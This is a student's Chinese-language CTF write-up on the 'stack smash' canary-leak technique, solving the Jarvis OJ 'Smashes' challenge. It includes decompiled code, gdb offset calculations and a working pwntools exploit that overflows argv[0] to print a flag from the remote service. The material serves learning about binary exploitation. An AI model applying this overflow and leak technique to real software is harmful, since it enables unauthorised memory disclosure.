pwn 学习笔记 暑假第四天 canary

Stack smash

(火狐竟然炸啦,害我重写一遍!!!)

原理

在程序加了canary 保护之后,如果我们读取的 buffer 覆盖了对应的值时,程序就会报错,而一般来说我们并不会关心报错信息。而 stack smash 技巧则就是利用打印这一信息的程序来得到我们想要的内容。这是因为在程序发现 canary 保护之后,如果发现 canary 被修改的话,程序就会执行 __stack_chk_fail 函数来打印 argv[0] 指针所指向的字符串

利用栈溢出argv[0]为我们想要的读的字符串的地址,

__forfify_fail函数用来输出字符串内容

例题为Jarvis OJ的Smashes:

用cheecksec查看:

ida源码为:

__int64 sub_4007E0()
{
  __int64 v0; // rax@1
  __int64 v1; // rbx@2
  int v2; // eax@3
  __int64 v4; // [sp+0h] [bp-128h]@1
  __int64 v5; // [sp+108h] [bp-20h]@1

  v5 = *MK_FP(__FS__, 40LL);
  __printf_chk(1LL, (__int64)"Hello!\nWhat's your name? ");
  LODWORD(v0) = _IO_gets((__int64)&v4);
  if ( !v0 )
LABEL_9:
    _exit(1);
  v1 = 0LL;
  __printf_chk(1LL, (__int64)"Nice to meet you, %s.\nPlease overwrite the flag: ");
  while ( 1 )
  {
    v2 = _IO_getc(stdin);
    if ( v2 == -1 )
      goto LABEL_9;
    if ( v2 == '\n' )
      break;
    byte_600D20[v1++] = v2;
    if ( v1 == ' ' )
      goto LABEL_8;
  }
  memset((void *)((signed int)v1 + 0x600D20LL), 0, (unsigned int)(32 - v1));
LABEL_8:
  puts("Thank you, bye!");
  return *MK_FP(__FS__, 40LL) ^ v5;
}

我们利用_IO_gets输入一个字符串,覆盖到argv的前四个字节,ida看main函数入口:

gdb 在main函数下断然后运行:

指向程序名的 就是argv的地址,可看出argv_addr = 0x7fffffffe188

然后再找输入字符串的位置,因为是调用_IO_gets函数,所在这个函数处下断:

_io_gets 函数读取的内容,指针存放在rsp中,所以gdb 查看rsp

计算输入字符串与argv的距离,确定需要覆盖的长度:

0x7fffffffe188-0x7fffffffdf70=0x128(536)

然后我们在ida中看出:

memset((void *)((signed int)v1 + 0x600D20LL), 0, (unsigned int)(32 - v1))

查看0x600D20处内容发现flag就在这里:

但是我们第二次的输入会覆盖掉这个地方的内容,所以不能用这个地址作为argv的前四位

在 ELF 内存映射时,bss 段会被映射两次,所以我们可以使用另一处的地址来进行输出,可以使用 gdb 的 find来进行查找

可看出0x400d21处也有flag,

构造payload:   payload = 'a'*536 +p64(0x400d21)

脚本如下:

from pwn import *

#sh = process('./smashes')
sh = remote('pwn.jarvisoj.com', 9877)

#argv_addr = 0x7fffffffe188
#buf_addr = 0x7fffffffdf70
flag_addr = 0x400d21

#payload = p64(flag_addr)*200#不知名大神的简单粗暴payload
payload = 'a'*536+p64(flag_addr)
sh.recvuntil('name?')
sh.sendline(payload)
sh.recvuntil('flag:')
sh.recv()
sh.sendline('123')
print (sh.recv())
#sh.interactive()

本地测试的时候得不到flag,正确答案要在前面加P,我也不会到为什么我的ida里看的没有P,未解之谜2.0

--------------------------------------------------------------------------------------------------------------------------------------------------------------------------计一个调试时遇到的报错,gdb运行报错

百度之后,说是指针越界,所以要在gdb调试前,加上ulimit -c unlimited,然后就解决啦:

被迫重写的感觉,可以说是特别好啦 ̄へ ̄    ̄へ ̄   

猜你喜欢

转载自blog.csdn.net/qq_38783875/article/details/81072293